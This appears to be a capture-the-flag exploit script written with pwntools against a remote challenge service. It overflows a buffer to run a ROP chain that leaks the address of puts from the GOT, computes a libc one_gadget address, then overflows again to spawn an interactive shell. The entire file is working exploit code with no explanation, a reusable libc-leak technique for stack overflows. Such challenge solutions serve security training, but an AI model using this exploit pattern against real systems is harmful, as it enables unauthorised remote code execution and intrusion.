```
from pwn import *

r=remote('baby-01.pwn.beer', 10002)

context.log_level='debug'

libc = ELF('libc.so.6')

pop_rdi = 0x0000000000400783

binsh = 0x400286

puts_got = 0x601fc8

start = 0x004005a0

call_puts = 0x00400550

r.sendlineafter('input: ', 0x18 * 'a' + p64(pop_rdi) + p64(puts_got) + p64(call_puts) + p64(start))

one_gadget = u64(r.recv(6)+'\x00\x00') - libc.symbols['puts'] + 0x4f2c5

r.sendlineafter('input: ', 0x18 * 'a' + p64(one_gadget))

r.interactive()
```